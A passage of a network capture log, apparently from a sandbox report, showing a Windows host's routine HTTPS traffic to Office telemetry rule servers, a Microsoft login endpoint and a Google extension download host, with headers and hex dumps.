51	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:31 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:31 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014631Z-16849878b785jrf8dn0d2rczaw00000006z000000000g6e0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49786	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 01:46:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 01:46:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 01:45:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 8fc97b75-8a5b-456c-8cce-a3cf07078d4b PPServer: PPV: 30 H: SN1PEPF0002F049 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 01:46:31 GMT Connection: close Content-Length: 1276
2024-10-29 01:46:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49794	172.217.18.1	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:32 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:32 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2dAIzcLjSgIDc3OZgEHiiv2QQGd31ImEXbPbDuLyduDSEw-DWT85FvDMz_7l4esHFEDn4 X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 28 Oct 2024 20:33:29 GMT Expires: Tue, 28 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 18783 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 01:46:32 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-10-29 01:46:32 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:32 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c417f1b6-b01e-0084-279b-27d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014633Z-15b8d89586fzhrwgk23ex2bvhw00000008qg00000000c210 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:33 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:33 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014633Z-r197bdfb6b46kmj4701qkq602400000004tg00000000mxm3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:33 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014633Z-16849878b78wv88bk51myq5vxc000000064g00000000bsmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
